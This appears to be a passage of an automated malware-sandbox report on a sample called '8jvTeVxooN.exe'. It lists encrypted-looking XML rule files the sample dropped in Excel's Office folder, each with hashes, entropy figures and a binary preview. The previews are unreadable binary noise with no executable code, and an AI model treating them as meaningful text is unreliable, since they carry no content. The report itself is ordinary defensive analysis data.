Preview:	<?xml/kN.#...S.Vh.G.....0d....A.$PV......Q.+V`).mw..m.=.r..9.\..@q.x.........>}/Z.._....^..N....g.^..Rz...&\...,.'\|Z.....#a.(;........"=.....\I......qx.Z...9:`(.0.p........H.k.&.m.n_....;..p.}.T..n.Ov\N.......NT9...r.ho..WHU:b..N^.u2.8...#0..B.f...I......R......k......4....G.'.......Zb.KA..QV.r.e..E..e.....D.......Z....s$....;Hq...Qdq}.L42_.W+....r...R.,.{.....B....e..R.(.N.<...}.pQ...4 9..H?.d$.....FS.....@.Vkm5.d...x..U.A,w..X3fp.-.....{......Z.....D..=.`.Y%...$..............\|...@..G..z..`.Bw.jX&#........]p....ML..P?r...A.c.4..m..@M....Y..i.p.Q..U.-h.H......U.N.4...]`.h\.....n;. ......'..5[.N.......b.oa./.....w..d........6.......+.j.8..2/.H.y..+\.#.b.P..%.%....w....+0....f...W....:.....~....-.F...0....p..w....>...~k..:..Yx.l.C(F>3...iH.ETOP.?,..L...!...}..(.w.g7pT.l.C...{.u...mT.v...r..38...\.~.:..T+aI.P.<..I8...T.u.C(\^.....n..y.W,.......Y..a...u....c.n..9...F.x...c.i7..#]8..pj.^..C.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDy

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68001v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	7.776649460166996
Encrypted:	false
SSDEEP:	24:NrCnZ3OhWi1CxQPD2PUEksplncxP8UdjYwgx9L9DAQcI6nMlObD:NrYQWw0QPK/kspdExKpDzcvnMqD
MD5:	1BCC6DD42D01667540361821547A86D8
SHA1:	0217C1DA08B3ED0EE31D1491EDED087A0BA41CF1
SHA-256:	582F957C88610DE0DCCE814099F14BE0A95CBF5E38E19A1CB4DBC9EC7CE29B29
SHA-512:	C583B140866EF2DC0910560452482A96FBCE538F3CBF1BC310AEA0E8E58D1EBBE9031FE0EB7BAA55804A09A25BF18BCABBA1D39BF8EC161D7DEF0DFFA2BE888B
Malicious:	false
Preview:	<?xmlxM.O.9.i(_g+s...u.g<rN..s.+H..+$...nF.X.{..2.:.........5T..c....4.;.....I..:.......3..M`...9.[Qe..(..-...."..".5......h.kpy.......c.7....m8.....`X.K..J..4.wV2...!a....A......yJx.<.)r73...X....01.U2....t..kE.:[..8..O.@.a.\..B....I...X..c.s.7....n...y..".E.J..o0.)8.^4..@........M.2...-Q.&%....&..D%.p,.e.g../6.D.\m...!...A..3..).2......4..WP/......=l.8.SQ.....Y'.m....Bfm...R....+Ah.)n.r"-HIl-0._UaPs.Z......F5.WA..T.F.Q..zHq8.........oG}..$\8..tA.5.....k..............T...R...~.X..c.Gd..[.....l......L.'e...g.%#...$V..b0o..1+x>j!...^...K.S..6.......7..B.C..@1b.r..end......j....i.X%8...vU...-.;.b&...\...G..El..sX2.......St.[.ep.&.dk..[&.0..xbE.R..=@...:..U..%.is.{^.f.y.H.3...os%.n."f.m....Q8.l.....n...&...J.h...((..8...%.+-.......4.R.-e.4Qd..K..S....7Yw..Z..h........9x.l.F!........'1:....^K...f0.zj...hG:....(a..c...#dt...8.x(.T..Q..K..r.9k.k.$J$+....U$.e...7B..JL4.._......Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68002v11.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	7.933180194234601
Encrypted:	false
SSDEEP:	48:26a7LdcIPIOVysZJ6Xapchhaj6SCA8QOByi7ymLlPogu/MY9yYkIYW4+EcD:2hvdXVysJYapcs6SCyiHLlPoyjXIYW4w
MD5:	251CA7573A822018B5E2526D16E2516F
SHA1:	CA01D6BA98EF64374172C699DA34D6B5DFF89CA0
SHA-256:	A9FFB23307E66717E2689927FF59BD0A470C9381BD3263BCCF3D3FDA1E24E021
SHA-512:	3D7FE009D984596E24E0F9541192AB267992AF1F5510FD7121D0F378109330B94CF366247EF80E05ADB73997B25EA6CAFACDBFB44592AD146B2FA99EB3077490
Malicious:	false
Preview:	<?xml.D2+.Mj.......3...@..Il8....rD.'.."k...i....I.I.....K>.m..J...f.tG...:.\....."vB...6...O}........%.D....'../......:.gk..ws ...'../e.#.G.M....j#8.{.,&a.2. z-C.U.Hv`......M..F..a....<.9..7piL.P^<......m...J.I...I'Y.P(...\|\|....4...............E. .1"......x..wg.........zA+........@..'...........b.!..W_..E...S.].:Z.$.]..^.Q.C.; .#<..j;.m<......Q.."...]....<.e.3....I-1.Jk.7....W....k.%F..j...F.~"6jn!XF"6....uZN..je.t..T.{.i,..w....].%../.4.<..^.`..1..g...Z.C..V{.....^..mQ...>....>....8..h.&...]z.X...P.$..U.;.~d].....4..............9.m.2TG.U....cc5../>..^.c..`N>......~w...R...f~..g4.,...y..'Us.7.l......S..%D.RMW...L%.Q...^...Oo..lt".D.W.%..a.n...]]..`......C~c'....B.....%..k.t..Z?....A." .w*..>wW"..p.E....+.".Y.....q.,p-........kd.>..Z.._..:.../L.s...{p..]..B.....f._m..D..3... v.&...[....y.o`t./..n.W..\|...;._..5B....W..c........(X29g..J.c{ u>ag].s...s4.A..y..q..%...W...].:m.5..h..%\.{.NQ.......).rn._.....?&c..=G/h....a$P.q.).;...$...j..d...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68003v12.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	7.924919980054306
Encrypted:	false
SSDEEP:	48:M8/+FPdKZU2V/i1xUr9KfVr3zEUz3+l3t961rW9AO44oD:M8gV25YUr94VnR+D96kO
MD5:	C8DAB6DA6F7813FD40CB3B5072A9D36B
SHA1:	B98A0494595DFA363F9B1B97F6FE9F55B293F8A9
SHA-256:	53FE8A18C38171C7F18A79E7C2DD7AE28B82FA8979C7A1DC005BBFF1D01BB61C
SHA-512:	2972AC5BD4822916342BC10FDC29F9B0F4D6DE7E9312A6FC779846DC54D0A098F72CF7D6E710D29D703790130EB2425E9157679F4CA34E06897400CF6A96C5C5
Malicious:	false
Preview:	<?xmlG.I...CA..3L.d.{.Y ...=.dKZ.z.E..Jlv.>...B.%...\.H........yW.}.+.`..G.5d.. #cCC..5....9..-.w.R.i.....=>R#]m.k@.k1..z,...M.p...6E....... C.D.o0........1!.&.F.9v.&..Gv..tp.?.D.?.k..7...A.+....1.D4...K$".......G.6Zg......a...D.T i.....R8..(Kp:.S}..~Q.{.h...M.{...&.(.%"%..5T.{...d..........Y..0=.....j=......>...}r..A......#J..d.G.....x.S.....bz,...4.N.....E/..zm...H.....M{-D......bc.M.,M....W.Tye^W.......8F..j...h....V.BH...~.v.-...1.^..jY..2..rfm........de..Y..iyi........:.P.n..Y..cE..@...5.Q....?.._O.t.V.x...?./......Kzf..z],.X..#`%.^&...^......H..B.\.F.?Xy....8..L!..v.I..<L.I.9.....\|.Ryy.....YK..o....Q.v.%....y!=...3.o..3E.....C!...By....N@.......l..\A..6f=g.u.....t.aR....,..:,U..<.d.....U.O..a2..$._...$y...M....F..B....^.........8.v.....#..V..Di.#...G..9\.......jX.w..5.......m...$..d.G.k.....1.p.\.I.e..G.!..bCK.......fr0i...f.....o.V.........U8r..[..m.....W.7...@...Ma.0.4..k.......vi.T.G.."d....-fx.'.(>#....D...`....6...!.wiz!.+=..~.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68004v16.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2762
Entropy (8bit):	7.934179035114284
Encrypted:	false
SSDEEP:	48:EKiIW5QXnVvxSqsUjdN0dG+pD09KrndG/iIE8CWQPMFAiY2D:/iIsQ3VvxL2dGiI9KrnEI8CWQPuAK
MD5:	D48BA997DB00F63120FC29BE2EFEC6EE
SHA1:	C1471DD3892122D5FF8F4B33DA2BBCEE9038EFE8
SHA-256:	1543A89AAA024F35FCBFF5508B68BE6DA5E35A518AAF124837CB67A3B02EE082
SHA-512:	6098A12A685F6EA31DC617E30517E5B361E25849464EEBADF40A8CC3B0A40089DED9C39FC19CD004C314C698EC936C787D12E36FAE39AE8204B233321D89F84D
Malicious:	false
Preview:	<?xmlq.0@..S& .Kn.n..T...?...+....Z..c...c.:-.9t~..?....=.........3{T....i9.ED.R.....O{.x.&....(.1..q.M..@.........\.Z.D....f.....6..Pc.....f...`_...Zu.;..+.Y@j%.fawtm.Y...b...r_y.I,.}'...g.....rj.v.d..G#RL.......;k.........&.&nc.c...x.o.H...-v[u...&b......}.....U...W.N..y.R....i....O..'.=......y.......Y..!g..'51.....~..-1.ep.&.B...o..T.=F....q..hb.5......@m".a.9.q../NtW.K..... .GmF<.?..A...&...$.............Y....?.g.p.....$.\.........:vf`../......p....9..&.A.z..KZ..]l.^..,.D)+.].(.4....sQ.&.1dH.9+...)<..:..l....E}.$'.J.A...1..?....DX....w.j.7.-.2..~.\|';...6F.\...E.._..-.ctr.....o=.nV.....G.....Y...M\H...."..j....6_vL.1_uf3......../.L8.G{...x...U.aoI-l`.".P.X.r..a=AZ.r...E..h..9....o.....U.\.Q,....Iv..}.YA...3..{..bE...c._M....p.Rv...(6?....v%.qu....m...].8Va.G..hq.g.j...M....AR..K..5..p..QE.l...po-z..r2S.......7..MR7.....).DBdXs..h..Z._.u.9.b9<.....V..6.q......./.....)..P......S,.7(..\31e.b...naF:>.Yc........DP.=.nm..k.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68006v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	7.741719772062335
Encrypted:	false
SSDEEP:	12:1vNj37gfDDS8pNn/x4bm2EIDg094jvY2k7HHp35r++s3HVuOcii9a:bXgfD28H/Y5xDg0KbLk7HHp31lscObD
MD5:	BB881EB9EBCA2CC1006B492ADDD14F1B
SHA1:	0F896FDAD171BD87F6BC891A38E2FA3316834AFE
SHA-256:	3FCA000E4A878D526DAD3A68D3AFB922D288A422842BBA17A092202D9020E1BB
SHA-512:	3F859D8AFA98623A4A2C83991BCEDBED96114DADC2F8C8353BCAE42DC8D5B1B5E9CBC977873CB4495E43AA5EA552EC87B612AE7C1D08916DD96F4E566B2622FC
Malicious:	false
Preview:	<?xml..e....&5..w..Vz...._....(.{4.#_.( .V7......+....n%..eoy@)..[g..V.......B.G.0.~.@.t....U...-.K......j......a..T....&.O...Q...^../!.Q.Y...X.......x....).$.E.ur.+..l].0....p.!.\....K...\|....S)j{..K..&..=....Y..[.1..&.%..4-.9.=..._fW..`...m.4....6.;..e.{...{..>.....\|Yr$.T.SQ....W.;M.r.T9Yi.s:...7..3+.....3X.9.)...........g..0.Bm..<}...N34.q..OiS.;..m..1E...v.^...&.....5O%3..#Z...n...G.W.{.>.9Q..D....!.3taPPq).T.c.s...Z?.....g+0....:.%.P. .?...;B.g.e.8J.iiC&x.!HL.7...7.q..`.&..M...zN.T.s............$.=..Z...=..b....)?.....;......s)o.,.6h.....O.(S..Q/#.$..B...?....HB.a]1Dzi.^.{....`..e..WG..O<4..c..^.M..Eib...t.~:B.:...9.....#l..["......0.j.....xB......N=...w........,_...-z..z..D.y.]j.Y!`....A~.......u'M..9)"\k"N.xZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68008v4.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1010
Entropy (8bit):	7.805378426634277
Encrypted:	false
SSDEEP:	24:ZSY3IDfEl29HmPQyrh9mn3IYhW+GozMKfzf8PjVGrUObD:ZhYMlyy194vWYnDCjVI3D
MD5:	736559CAB276F420D92536983E5D242E
SHA1:	44BDD7C1A1788BB47EBA6E4C3F9EBD3684863E60
SHA-256:	EB0397643B2E6629266B69F9AF271DF8506CFA77A536A318212ACB6198E73337
SHA-512:	71A95C981E3B6FEA550D4588519FABED27589EC5F51BEB75F2575CE0DC5CB4A78A2DD07358008CEFC434B1A4FBCD8D69A926D54EB988B5A3E27BB01C7D40F211
Malicious:	false
Preview:	<?xml.g8X..o0..v_....T...W5J'x:..;.yK.z....].8.ol......2..).4....u....k..@R..e.3_.."..xF....j.W...y.`..}.(.X.L..\|.4...,..."./...I..pM../...6......9.T.N7...\n.~....M..s..7T\|..f..B~.J....'.:.............^.h....(WB01/...rQ..T...\.#. ......f....c........2......jr.6G...{.B.>....@_ .0.).bi..ga..@I.#Y....E....9..c...-..#Bd.5...}*...G.v)..Q..-...`g.e.>N...t..0.G...<5.T...3 1#...M...dn:)...M 'O..?us-.5X..n...Nt...C.cs..oC...../..WH....Z..)?..1B..{f.....X...{.J".....3.'A.g].T.)]..y.'.$.......x.+JC.....o.O..Oq..s.....5...........t_A~..N...{%2......q...d....j.......\:....m..e.{.....x4..^.G.#.O./.~...H^...!.aZ....p....`..y/....A5K.a2M...x....r_.............y...tj~I....(N%b\8.c....d..^.;.Zu.....Cu..g.`F.... -X.x..g......!.A.w=.X9.i.....@..=.....q>o...(?c..oS^.~#-.#{(yD..... ..........I...<QR...#..f..Xhd..a...g.eG:..f.~0.7.......T$..V........{..).^.\+O.{Y.tW...r....."v.umZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68009v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1380
Entropy (8bit):	7.879048745343342
Encrypted:	false
SSDEEP:	24:IwjRUvMoC2UOZh6vRXPQuMWz9ojb3fHNfmsvHbFGZ/JKd+3QsYzllObD:IwjSMoWB5XPfbho/31/v7F+hK60qD
MD5:	C852A426997B20DE61898BB39A3C7026
SHA1:	8A578A559B0838E989AE2B058D6C1B7CBC462CCA
SHA-256:	0DBEDCF2BEC65EAAB2CE2C84D0859A3D090EA1A5882177C1106C828312B71CE2
SHA-512:	A28A1A713FDD26459B997F66912A1BE7E39F92EFC32B5B4615E744C5AB7E45B66E97D47D3EA7A2DFF98CAB6BBB2E2C04B123CD0686D06C74687978EE43884E6D
Malicious:	false
Preview:	<?xml..................G.og-.S@.G...c....Yr.?. ..5{............O.....r..q......w.........v..A... ..6.a.2.. \|]U..z....7...g.............Oz&dF.0p....r.-;.oM.....eY....D..U..K=........_........l9...)5F.......K.1...G.#U......t...Jc..@..w...N...=.W..K.b.8..l...&...`>.=.._..U....w./;.b..$z....Z.7.r.r.O55a.k.j.PSx...n...'X....\.....Ayt.n...P..!..O...vW.\+l...]..@-..mJn(\|_...XD......b...!;..y.E.,c..'../.q...q..6........f......c..../.......9.U...B.v..l.U......MKh2O.._..$.C......<"..H..lQ.:.^.0.%....M.j..~.....dp[Y0.....[>X....$."6WP..r_..x%PB......+.5>.b.l$\|N5......y...W....FX.K...)........n.@..saU.RS..[...0.C...A...3...6f./.4O....}R.+Mc..1..`...Vq'......y(M.8m............`5G.s.Q..r.ZIz=..u..W...W...!..z..76.4......1.W!"....8m..5h..j.B.q?.......C(..diYE.(!Ut.fL.0h./..S..._6w.{.,.__..9...'....{"1..v..................4....M..).Ew.l..............7.&....M..[...n.).7J{....#G..jS..1.I.<"l..}....:..s.i..... ...V.\C).!.d.7L...Z..N....b.1.H9.].

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68010v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1614
Entropy (8bit):	7.876744182536793
Encrypted:	false
SSDEEP:	48:kYoIFDTVAg2eozppndmyFssGFJ6W1Wewe1dy/UJF8bJD:kYx9RU/FxI5Wew6lJG
MD5:	E712B9A3A3784A0BADB70D7EC2B08023
SHA1:	235B4440FF15ACCF18A01249A188F7321AB28C7E
SHA-256:	6300000BA2C37F374A5AA53C32509884146C4A6F62823CD3CD9BA8A0BB30D28F
SHA-512:	BD8AF895A41A749C9A15642728D6CE731D5A1373B286AE459760F15AFE985855AC11924B539872C1607E056F5146042EE7D3B75CDACCD045F04D8E6BD4DD513C
Malicious:	false
Preview:	<?xml...<..r58T..z-.5\|6....+...U.. ..E..d..../r.a.O9..QG..d..W..A+.jQ...M.f..8..&.sQ..1...._.........u.E...(9.Z..Y.9..~.$.4.X.`.7.f6.m.(Y4S.p.K...,B.c...J.m..Z....J......1.f.%y....t...X..B.\...F..-..L....W.......)...B.a..8p#3..\..d e.....s............`.Cv.M@.&.....:..R.W..y.....h..e...}.Q.D.....L.......r....9.......L...,.....-...~.A.4Q.........b.d.Pt.L`.T..8.&...d.R..?xwB....h@..Y_..x....1Z.L..........^.E..b.:......2...Qo.....O..Y.vV9.@.....@...wFWH}........#T\|-q.....^[..aV`.......VZ]......99.}.......r...P`Z.......f>..bB......N..)]..Z.N..b....K.e....>.../.....KD..<y.}..k@..a.$...=-......74....a...}'k~....6 .%..x.0M.......1Ce.W....`p..zjip$OK.r.L...$.....-.N"....~..pG...c........e+....."WlL..._l.z...d1E[?.`.....!zE.7.WtI......o..(...*.u....mD..d{.-P\o.V~?.....}3mp.c2<......f. ...Q...=v2....Z7l...#.F.A.qd.\...Qgex5..._.W...9}N@o.K.KY"...........tS..c..Q....3...?X>[.....o....3.ekQ....L....yQ.H....d.pc9_. ....j..wm.Y...W?/-.-v.3j .&%.uw{).....#

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68011v4.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2753
Entropy (8bit):	7.9347315661185664
Encrypted:	false
SSDEEP:	48:95y4oAyfDPDLWPOZJc5jOncwpenpXl6D3d6LIZhuP0snwvOsc11cNnidE5h9WD:zboLqPOZcOn9pe76Ts3P0snwRsGVn9O
MD5:	717C53CFF182EF616970A8C18ABD8B1D
SHA1:	98DE0A7261777C54C939F9F26B3361662BF26367
SHA-256:	F546C6BEC1095D4AFADF1D3ECDB0DA4B5730441F7CF7594A0B093AFAF4D692A8
SHA-512:	5997E02EED3A65CBECAB4118927BE7C8EE04AB8BC801B9D4C5C724343988DA53EFC4ACA5A8CF4ED90D52E0628859B57CEA0734327C5B6B7A0FF73E47A73F309D
Malicious:	false
Preview:	<?xml.D.6'..Q.EuIi$J.~....._O;?.3%`....wC.#.w.3e......5..6.Z/....l.n?4.!.?E..S.eO...)[..A.ho...Gk%....j.w1.$...E.....2Q$j...u....x-4...r..n+h..../gE....p.GW.).t.`.#zuy.....\jR..C.........c...J..i.5..".Q.+......)........a..MB..c..E#.?}.b....w.oku^.B..\|h...;..I....8..3#.....>.S...u..I..S.2Kt.N..+._..L,.....s..Q..b.....?..1k./.$.........r.....5.U.P.A7..T..2...l.J.P.N.........~...}.$..$..z}..t..h..M..X...K.c...O..L{[NY}.O..{.-}s.q..(..M7.q.a..r..'J.I.o.5e..^.a.\.8Y.)D0.."m..t...N.....f$......VQ ..+Q...~..WJ...,.%....\...f.=.K_.x...._.s..%....U..](.....c.r.?.j..S..E=...!......~.R..mEd........9..i.27m./....f.....~w;9...{.4...9.......$.s.~".p..2.2...t..g.....<...0.E.......i..J...k.1........A...s."..Z;..=.8.j..s.bu.+1.......i8.]..{.QZt..1..........H...J2..Q\|W.l.,...~.62p.GO....jO<...h.......n5.........CJ. .~#..k.Qw..#.&.......!n).T......di.#.1=...W.=...&TI.q....fY>.:...[z.r.X^....<RIWE\|=....V.....Q...d.fF..^..'....j.o.;...7^....vcV.?.4s.S..,..T...O.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68012v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	7.8746356962108885
Encrypted:	false
SSDEEP:	48:TnSx2B4LQ5VptDIKb0TB+tWg6K/8e80ZD:TzVskkB+pN80R
MD5:	C00D66777C0711C88BDE49E3F31617CF
SHA1:	C31114D69B01DCB06BF6A996892FF79343E370F6
SHA-256:	257C4FC0C7B8115379BE363766DF05EB30C786D4E8312582F02B1CA516C9AA01
SHA-512:	575FA14F163076F5E552795FA1495A6F34767E01ADAB38C77E284C1322849C37FF52CEDFA46CA93AD3672117A1A1A1C97FE56DA117A25278A5E76B4B205339F7
Malicious:	false
Preview:	<?xml\|.I.L.L..d...S.5i.....;...,.....6...v..f.X..z....4..q..V.....k9.m].4.y....Gn...!.#.4&c...6....W9.....D..{9...........8..".(X=..^....4......v.E\|.:......`...C.A..L...A.1..^%.".M.RH.}o....y...'6.._...P.Q.c.oK.<.>...u..%5...+5.u1...>.X..9;..oEn.4...NZ../.S.ce...F.Vv...C.;.O....}l..>.[........0.e......[.F.Q..a..]..h..1...E'7F...... .A......_.VV....=.>.......`zmA>....$..<c.2..6.....XD.G.sM[..]..:..c.."...VVK.U......qj...]f....xC....B..<.;..]Be.^VWH..K..V...wYn]..v......LQY0a..a&.V..D.\|.O......WR..C.4...k.C;f~~...C.R.U.\G..!...F.[k.n.?.R..:..Ue..-..@U[...... ...8F.Q.....M.z,Gl.J.~).M6.......;r}...#.b}....pHWx....t<.......k..O..."m..s]\|......V..H.b.3../.....\.jL.!..A.~.."....i:.Ra..L...5^.i.h[7...y.R.%s...x9._../...t...6....p..'.m....9z...A.H..G..:Z..D.D...D....4bx........G..Z....~R...^}.!....%.^`...YD.....{.....n... 3..t.h..P........l...2._@..l _.....VC.......1f7.$Vs<M..F...,...U...'B<$._.G...O............-(..W.Q#...]....P..F....Vl...A]C'..D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68013v9.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	7.920810508606035
Encrypted:	false
SSDEEP:	48:ApbU9E6XpJSffM+j+iHdrZN/0UUG5MUBGDxoEK0Te81bqt1BW9D:eo9n5JSHXqiHdrZN/RbMUEtRXTX1bq74
MD5:	91544397EDA1C4EFEA6D41F5FB4310A6
SHA1:	780199CCA9BBAF7A9F190252B48D31EF3272626D
SHA-256:	5E71BEF228D75E240E29EB058422F9E71AB896D3885887BC2DC17FA5F30EF2D9
SHA-512:	019A74D6829021B0DE0189E7C727DF080CC9826D894E68EB7401B6C8D96180CEA9B5EE34C80FC8BEEA3613088EB66123F425AF8AF42E521E8FBBF1472EADA9D7
Malicious:	false
Preview:	<?xml..N..\,a~..Q.....B.a0.ns.........-=.......An..z.....p......#. V..&........g....c.X..<9]..'..d!oM0.7..f.....x....n.e].......)K...T..[...Z.#d..r<.&.y.^...i.d.M......=k.W.C9%...=.......h.S659....A.S-w..h.3...5..2&].W.......x.O..v.F.N}..JD..A.u!.....4}A'}M.!8..3.......`.....B.............!.A...DTl_.p...VD.K.K.....eI....gsE....\|.K.9yO_....I..\.....O9...,K.....[M>...[_\|./....F..k}t_}..=M5.^Y..!...z...\.7...`.j.....Z4..1y .\.X..!.F.(..-.fStJ.3u.k.).Rc...$.....,.3..Jy..!r=.z".P..N..r..H.w..c..........S+..........Xd...(deeZ...n...~h..d..e...2.wm..-R.2.t\|.[G..+.y...^.7........S.=&..j.6rl.k4.d....C......A%..v..1.f........c%V.E.W&..u........]\|...e..h.Z.G..S......[..\|..".T...i....-s.o.b.}....b*.C.;.H..T7.V..T.J.1....JO>w.:.e),..C...t...d.d....AiO......9...c[j....&#S.0..\|-;.}.Z..i..T.a....M.}"....;....4..<...VEk1.d....,..}M\Aj}......?.?...=..<.".......a...+9.o.U\..B....}...=..../..YZd..\|Y...;.......rFC...'.........w.ns............-..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68014v8.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1826
Entropy (8bit):	7.898918075449141
Encrypted:	false
SSDEEP:	48:i7hLPnB14wUxOTcAzbyfO91rcNoKza+AqsZSl6JD:iVLp5TofO9pcq+Arxh
MD5:	0322A419D24420612A89AF716BD08200
SHA1:	BC86BBA2C12E9FF83E84AA22D3A409DE84DF45ED
SHA-256:	231B5D11E5A1EE3A9C9ECDFE4D6EBE565C0EE468F9CECE51E5E75EAA35085ADA
SHA-512:	15BF0032D3E557E786E770663DA1A7922696FB4CA1C7C51224266E5E3AAD1383026E81368119F484F2F701D1C978537F0BAB2D56C578D131F699E38078FB2E36
Malicious:	false
Preview:	<?xml;....\|.sU.."....!.jj....!...x..".I.Y.yL.O...............Ac."z.N..u.\|E.......Z...BR....fW....+...4R>....@......d...I......s......-..Z}..]n....).B.7.u2..w].IW...X.h....t.j.Vy......g....i..!..d>.Fa_.....\. c{.y?."....PZc.)....l]......H..8...).:..o.<]Lbz.ul..{c>..Wv..]....q.r.d..Y.6n...}...Cp..#....Ur.z_.Hj...)......q4%7.uz>....79!.....~..$.XBJ..B X...."...c..O.Ug..K..E.la...#V...+.y..Of. .TE~.~....Z......Pr..I.26.....FT.Q.........9..l&.....~...+.?..FB<.^p.%.9.....A<gB..[..."@.U...4..L.!.?N....%..O.s.y..x...g.X..@$eN..N..6c.2...W1.U..u.......).$..]...`.r.@.'..<>...Y.'`...s.k.X?..y%4.........H.J..>.c. ;....S.`u..9..rbc.>./.5~7.&.#.kA.BR.#..j.t1.e.:.AP5[.C.Gi.....NdK"...3.`.....#..<...c.u9.I>....<0P..a..=Juo.gl.=T.@/c......T.\/.2.pIc.~J.M.U...lI.X.J.\|..,..-f...tWO.u..3.b\|..f#z.......Qy.Z.oR.C.2...g((.u..n..YO.k....a..X........G.x AxZ.s$..>j.vi..H..m.o..4....YM....R.1.Q?.;_mo.Zh.C.......s.o.5.n....EL...-..........eR.6.$.s

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68015v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.836109629045407
Encrypted:	false
SSDEEP:	24:21W0WXMa6ninDLX3VjnImGCqMxSaFTkwKDlueypEct9k2uDmCObD:21W002U/V8mGUxzEMt5uDmlD
MD5:	FA30067938358309C9BE2972B9A2DBDA
SHA1:	45653552C6246A3D7319D66E9E2E74A8032A09FD
SHA-256:	FB0E9C299A73EF6E6BCE30294154A7A41BDAC5679FA6658A8A3EA322D40185A8
SHA-512:	9B71B903302642096FFDA5BF378158E408D62D0604F43B773104CC13B022A5EA94677F7F6C97112AB11ECB33387FCA3201035AF902663F55C968E4F3E67A9CEC
Malicious:	false
Preview:	<?xml.2...h1.J.{......j......%.1..Y(p.2....vAl.7....q?.......[...oy..Pn.J...3....F...A.z^.;]..@c..tj,..v....\.s..]#....\t9...Yg]..".=......#..f....=..o...&.....z..@~.k..N)..B.u0x...P...."...'....(.`.........G,6W.:...4I=,....,...V..&W./..L..Y.q...~...e.!"!8...Q.....b......&foCz..$.yy.7.6.xj...h.....$....S{..o.E..."....:.7...(.w.\q.N.u+..R.!J~k?s....u..n..0.K ...I..[.K...[..j.Y.o...4..D..:._.;[....u..xN.5..qd.T...n,............n..n._...6......'>..2.K..$.....!k.H.6.J....G.%..zMC../...6.....{W...=..t.uF....M.PRG..y..r.=y.....,.j+.&...t...Xz......[..[,s..<..$U>.....>P]..1...}K..8..VA....}R.`sr:....b.k.[.[....H6....N..R<.F..nI....,.Wmy!+..5..y.......:.~ nT.+.....]:....f9.....rQ.U..}.y....+v...$..ec....9.0X.\L.<L\|{.<....-H....7.x.J...<.SK(...e..'.1....,%.ve..e...y..5K... .s....]zyh...q....%..)....:gh+F.. ...)....\P..@.523.tUf.4.....,..vR..P..1..U...y..z..Z...zY.o.H._1s...^..i.....rQ..."R.#.S#.iL......l)m...7.....~b........O*..SO...D.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68016v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.813491555639318
Encrypted:	false
SSDEEP:	24:BgjT/tsmWEdOsP2Jx/HHOhLPzK9xTeBAyoObD:BgnlXghMIxTeGID
MD5:	825804F48D26DA2CEF875EC7E3E0B473
SHA1:	D8FA2B6967934E219D917709BF1CC7E841586D8F
SHA-256:	A3343CC012F9110843FD0831FEACF8CD1EB828F014516E850CC97DFB378EE610
SHA-512:	908E1D3274814B02573E393A052AF2379394A2684571DD2F9D3FB436C238DDB1CE3C5B5B798D4963E832991BBFB99651AA39C7A79801A6DF161303011A9FF5D4
Malicious:	false
